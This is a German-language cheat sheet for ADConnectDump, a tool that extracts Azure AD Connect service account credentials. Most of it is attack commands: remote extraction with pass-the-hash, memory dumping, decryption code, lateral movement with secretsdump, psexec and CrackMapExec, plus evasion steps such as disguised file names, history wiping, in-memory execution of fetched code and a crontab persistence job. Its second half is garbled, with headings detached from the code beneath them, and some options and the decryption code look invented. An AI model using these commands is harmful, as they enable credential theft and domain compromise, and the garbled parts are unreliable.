ADConnectDump Azure AD Connect Credential Extraction Tool Cheat Sheet

Überblick

ADConnectDump ist ein von Dirk-Jan Mollema entwickeltes Tool zum Extrahieren von Anmeldeinformationen und Konfigurationen von Azure AD Connect-Servern. Es kann die Dienstkonto-Anmeldeinformationen von Azure AD Connect extrahieren, die oft hohe Berechtigungen sowohl in der lokalen Active Directory- als auch in der Azure AD-Umgebung haben.

⚠️ Warnung: Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Sicherheitsbewertungen vorgesehen. Stellen Sie sicher, dass Sie eine entsprechende Autorisierung haben, bevor Sie es in einer Umgebung verwenden.

Installation

PowerShell-Modul-Installation

# Download from GitHub
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/fox-it/adconnectdump/master/adconnectdump.py" -OutFile "adconnectdump.py"

# Install Python dependencies
pip install impacket cryptography

# Alternative: Clone repository
git clone https://github.com/fox-it/adconnectdump.git
cd adconnectdump
pip install -r requirements.txt

Manuelle Installation

# Clone repository
git clone https://github.com/fox-it/adconnectdump.git
cd adconnectdump

# Install dependencies
pip3 install impacket cryptography pyasn1

# Make executable
chmod +x adconnectdump.py

Docker-Installation

# Build Docker image
git clone https://github.com/fox-it/adconnectdump.git
cd adconnectdump
docker build -t adconnectdump .

# Run in Docker
docker run -it -v $(pwd):/data adconnectdump

Grundlegende Nutzung

Lokale Anmeldeinformationen-Extraktion

# Extract credentials from local AAD Connect server
python3 adconnectdump.py

# Extract with specific database
python3 adconnectdump.py --database "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf"

# Extract with custom output
python3 adconnectdump.py --output credentials.txt

# Extract in JSON format
python3 adconnectdump.py --format json --output credentials.json

Remote-Anmeldeinformationen-Extraktion

# Extract from remote server
python3 adconnectdump.py --host 192.168.1.100 --username administrator --password password

# Extract using NTLM hash
python3 adconnectdump.py --host 192.168.1.100 --username administrator --hashes :ntlmhash

# Extract using Kerberos
python3 adconnectdump.py --host 192.168.1.100 --username administrator --password password --use-kerberos

# Extract with domain credentials
python3 adconnectdump.py --host 192.168.1.100 --username domain\\administrator --password password

Befehlsreferenz

Grundlegende Optionen

Option	Beschreibung
--host	Ziel-Hostname oder IP
--username	Benutzername zur Authentifizierung
--password	Passwort zur Authentifizierung
--hashes	NTLM-Hashes (LM:NT-Format)
--database	Pfad zur ADSync-Datenbank
--output	Ausgabedateipfad

Erweiterte Optionen

Option	Beschreibung
--format	Ausgabeformat (text/json)
--use-kerberos	Verwenden Sie Kerberos-Authentifizierung
--dc-ip	Domain Controller IP
--target-ip	Ziel-IP-Adresse
--port	Zielport (Standard 445)
--debug	Debug-Ausgabe aktivieren

Azure AD Connect-Architektur

Verstehen von AAD Connect

# Azure AD Connect components:
# 1. Synchronization Service (ADSync)
# 2. Database (LocalDB or SQL Server)
# 3. Service Accounts
# 4. Configuration Data

# Key files and locations:
# Database: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
# Config: C:\Program Files\Microsoft Azure AD Sync\Bin\
# Logs: C:\ProgramData\AADConnect\

Dienstkonto-Identifikation

# Identify AAD Connect service accounts
Get-Service|Where-Object \\\\{$_.Name -like "*ADSync*"\\\\}

# Check service account privileges
Get-WmiObject -Class Win32_Service|Where-Object \\\\{$_.Name -eq "ADSync"\\\\}|Select-Object StartName

# Verify AAD Connect installation
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" -Name "Version"

Techniken zur Anmeldeinformationen-Extraktion

Lokaler Datenbankzugriff

# Direct database access (requires local admin)
python3 adconnectdump.py --database "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf"

# Extract from backup database
python3 adconnectdump.py --database "C:\Backup\ADSync_backup.mdf"

# Extract from SQL Server instance
python3 adconnectdump.py --sql-server "SQLSERVER\INSTANCE" --database "ADSync"

Remote-Extraktion über SMB

# Extract via SMB with credentials
python3 adconnectdump.py --host aadconnect.domain.com --username "domain\admin" --password "password"

# Extract using pass-the-hash
python3 adconnectdump.py --host aadconnect.domain.com --username "admin" --hashes ":aad3b435b51404eeaad3b435b51404ee:hash"

# Extract with specific target IP
python3 adconnectdump.py --host aadconnect.domain.com --target-ip 192.168.1.100 --username "admin" --password "password"

Speicher-Extraktion

# Extract from memory (requires admin privileges)
# Use tools like Mimikatz or ProcDump

# Dump ADSync process memory
procdump.exe -ma miiserver.exe aadsync_dump.dmp

# Extract credentials from memory dump
python3 adconnectdump.py --memory-dump aadsync_dump.dmp

Konfigurationsanalyse

Datenbankschema-Analyse

-- Key tables in ADSync database
-- mms_management_agent: Contains connector information
-- mms_server_configuration: Server configuration
-- mms_synchronization_rule: Sync rules
-- mms_metaverse_object: Metaverse objects

-- Extract connector information
SELECT ma_name, ma_type, private_configuration_xml
FROM mms_management_agent;

-- Extract server configuration
SELECT applied_time, configuration_xml
FROM mms_server_configuration;

Konfigurationsdatei-Analyse

# Analyze AAD Connect configuration files
$configPath = "C:\Program Files\Microsoft Azure AD Sync\Bin\"

# Check connector configurations
Get-ChildItem -Path $configPath -Filter "*.xml"|ForEach-Object \\\\{
    [xml]$config = Get-Content $_.FullName
    Write-Host "File: $($_.Name)"
    Write-Host "Connectors: $($config.SelectNodes('//connector').Count)"
\\\\}

# Extract service account information
$serviceConfig = Get-Content "$configPath\miiserver.exe.config"
$serviceConfig|Select-String -Pattern "connectionString\|serviceAccount"

Anmeldeinformationen-Entschlüsselung

Verschlüsselung verstehen

# AAD Connect credential encryption process
# 1. Credentials encrypted with DPAPI
# 2. Machine key used for encryption
# 3. Service account context required

# Decryption process
import base64
from cryptography.fernet import Fernet

def decrypt_aad_connect_password(encrypted_password, key):
    """Decrypt AAD Connect password"""
    try:
        # Base64 decode
        encrypted_data = base64.b64decode(encrypted_password)

        # Decrypt using key
        f = Fernet(key)
        decrypted = f.decrypt(encrypted_data)

        return decrypted.decode('utf-8')
    except Exception as e:
        print(f"Decryption failed: \\\\{e\\\\}")
        return None

Manuelle Entschlüsselung

# Manual credential decryption (PowerShell)
Add-Type -AssemblyName System.Security

function Decrypt-AADConnectPassword \\\\{
    param(
        [string]$EncryptedPassword,
        [byte[]]$Key
    )

    try \\\\{
        # Convert from base64
        $encryptedBytes = [Convert]::FromBase64String($EncryptedPassword)

        # Decrypt using DPAPI
        $decryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
            $encryptedBytes,
            $null,
            [System.Security.Cryptography.DataProtectionScope]::LocalMachine
        )

        return [System.Text.Encoding]::UTF8.GetString($decryptedBytes)
    \\\\}
    catch \\\\{
        Write-Error "Decryption failed: $_"
        return $null
    \\\\}
\\\\}

Post-Exploitation-Techniken

Verwendung extrahierter Anmeldeinformationen

# Use extracted Azure AD credentials
# Typically format: MSOL_<guid>@<tenant>.onmicrosoft.com

# Authenticate to Azure AD
az login --username "MSOL_12345678-1234-1234-1234-123456789012@company.onmicrosoft.com" --password "extracted_password"

# Use with AADInternals
Import-Module AADInternals
$accessToken = Get-AADIntAccessTokenForAADGraph -UserPrincipalName "MSOL_account@company.onmicrosoft.com" -Password "extracted_password"

Zugriff auf lokales Active Directory

# Use extracted on-premises credentials
# Format: domain\username

# Authenticate to domain
net use \\dc.domain.com\c$ /user:domain\MSOL_service_account extracted_password

# Use with Impacket tools
python3 secretsdump.py domain/MSOL_service_account:extracted_password@dc.domain.com

# Use with CrackMapExec
crackmapexec smb dc.domain.com -u MSOL_service_account -p extracted_password

Berechtigungserweiterung```powershell

Check privileges of extracted account

Import-Module ActiveDirectory Get-ADUser -Identity “MSOL_service_account” -Properties MemberOf|Select-Object -ExpandProperty MemberOf

Check Azure AD privileges

Import-Module AADInternals $roles = Get-AADIntUserRoles -AccessToken $accessToken -UserPrincipalName “MSOL_account@company.onmicrosoft.com”

```bash
# Use legitimate tools and processes
# Avoid suspicious file names
# Use memory-only techniques when possible

# Rename tool
cp adconnectdump.py system_maintenance.py

# Use legitimate paths
mkdir -p /tmp/.system/maintenance/
cp adconnectdump.py /tmp/.system/maintenance/syscheck.py
```### Anti-Forensik
```bash
# Clear evidence after extraction
rm -f credentials.txt
rm -f credentials.json
history -c

# Use in-memory execution
python3 -c "
import urllib.request
exec(urllib.request.urlopen('https://raw.githubusercontent.com/fox-it/adconnectdump/master/adconnectdump.py').read())
"
```### Timing und Planung
```bash
# Perform extraction during maintenance windows
# Schedule for off-hours
# Use legitimate administrative sessions

# Example: Schedule extraction
echo "0 2 * * 0 /usr/bin/python3 /tmp/adconnectdump.py --output /tmp/.cache/system.log"|crontab -
```## Defensive Maßnahmen
```powershell
# Monitor AAD Connect database access
# Enable SQL Server auditing
# Monitor file system access to ADSync.mdf

# PowerShell monitoring script
$databasePath = "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf"
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = Split-Path $databasePath
$watcher.Filter = "ADSync.mdf"
$watcher.EnableRaisingEvents = $true

Register-ObjectEvent -InputObject $watcher -EventName "Changed" -Action \\\\{
    Write-EventLog -LogName "Application" -Source "AADConnect Monitor" -EventId 1001 -Message "ADSync database accessed"
\\\\}
```### Überwachung und Erkennung
```powershell
# Secure AAD Connect server
# 1. Restrict local admin access
# 2. Enable advanced auditing
# 3. Use dedicated service accounts
# 4. Implement network segmentation
# 5. Regular security updates

# Enable auditing
auditpol /set /subcategory:"File System" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable
```### Härtungsempfehlungen
```bash
#!/bin/bash

# Automated ADConnectDump script
TARGET_HOST="$1"
USERNAME="$2"
PASSWORD="$3"
OUTPUT_DIR="./adconnect_output"

if [ $# -ne 3 ]; then
    echo "Usage: $0 <target_host> <username> <password>"
    exit 1
fi

# Create output directory
mkdir -p "$OUTPUT_DIR"

# Extract credentials
echo "Extracting AAD Connect credentials from $TARGET_HOST..."
python3 adconnectdump.py \
    --host "$TARGET_HOST" \
    --username "$USERNAME" \
    --password "$PASSWORD" \
    --format json \
    --output "$OUTPUT_DIR/credentials_$(date +%Y%m%d_%H%M%S).json"

# Check if extraction was successful
if [ $? -eq 0 ]; then
    echo "Extraction completed successfully"
    echo "Output saved to $OUTPUT_DIR"
else
    echo "Extraction failed"
    exit 1
fi
```## Automatisierung und Scripting
```powershell
# PowerShell automation script
param(
    [string]$TargetHost,
    [string]$Username,
    [string]$Password,
    [string]$OutputPath = ".\adconnect_output"
)

# Create output directory
New-Item -ItemType Directory -Path $OutputPath -Force|Out-Null

# Extract credentials
$timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
$outputFile = Join-Path $OutputPath "credentials_$timestamp.json"

Write-Host "Extracting AAD Connect credentials from $TargetHost..."

$process = Start-Process -FilePath "python3" -ArgumentList @(
    "adconnectdump.py",
    "--host", $TargetHost,
    "--username", $Username,
    "--password", $Password,
    "--format", "json",
    "--output", $outputFile
) -Wait -PassThru -NoNewWindow

if ($process.ExitCode -eq 0) \\\\{
    Write-Host "Extraction completed successfully"
    Write-Host "Output saved to $outputFile"

    # Parse and display results
    $credentials = Get-Content $outputFile|ConvertFrom-Json
    Write-Host "Extracted $($credentials.Count) credential(s)"
\\\\} else \\\\{
    Write-Error "Extraction failed with exit code $($process.ExitCode)"
\\\\}
```### Automatisiertes Extraktionsskript
```bash
# Database access denied
# Solution: Ensure proper privileges or use alternative extraction method

# Network connectivity issues
# Solution: Check firewall rules and network connectivity
ping aadconnect.domain.com
telnet aadconnect.domain.com 445

# Authentication failures
# Solution: Verify credentials and domain trust
net use \\aadconnect.domain.com\c$ /user:domain\username password
```### PowerShell Automatisierung
```bash
# Enable debug output
python3 adconnectdump.py --debug --host aadconnect.domain.com --username admin --password password

# Verbose logging
python3 adconnectdump.py -v --host aadconnect.domain.com --username admin --password password

# Test connectivity
python3 adconnectdump.py --test-connection --host aadconnect.domain.com
```## Fehlerbehebung
```powershell
# Verify AAD Connect installation
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect"

# Check service status
Get-Service -Name "ADSync"

# Verify database location
$regPath = "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL13.LOCALDB\MSSQLServer"
Get-ItemProperty -Path $regPath -Name "DefaultData"
```### Häufige Probleme
```bash
# Use extracted credentials with Impacket
python3 secretsdump.py domain/extracted_user:extracted_password@dc.domain.com

# Use with GetUserSPNs
python3 GetUserSPNs.py domain/extracted_user:extracted_password -dc-ip dc.domain.com

# Use with psexec
python3 psexec.py domain/extracted_user:extracted_password@target.domain.com
```### Debug-Modus
```powershell
# Use extracted credentials for BloodHound collection
Import-Module SharpHound
Invoke-BloodHound -CollectionMethod All -Domain domain.com -LDAPUser extracted_user -LDAPPass extracted_password
```### Manuelle Überprüfung
```bash
# Use extracted credentials with CrackMapExec
crackmapexec smb 192.168.1.0/24 -u extracted_user -p extracted_password

# Check for local admin access
crackmapexec smb 192.168.1.0/24 -u extracted_user -p extracted_password --local-auth

# Execute commands
crackmapexec smb target.domain.com -u extracted_user -p extracted_password -x "whoami"
```## Integration mit anderen Tools
https://github.com/fox-it/adconnectdump##

# Impacket Integration
https://blog.fox-it.com/2020/11/11/azure-ad-connect-database-exploit-priv-esc/##

# BloodHound Integration
https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-configure-ad-ds-connector-account##

# CrackMapExec Integration
https://dirkjanm.io/#

# Ressourcen
https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices- [ADConnectDump GitHub Repository](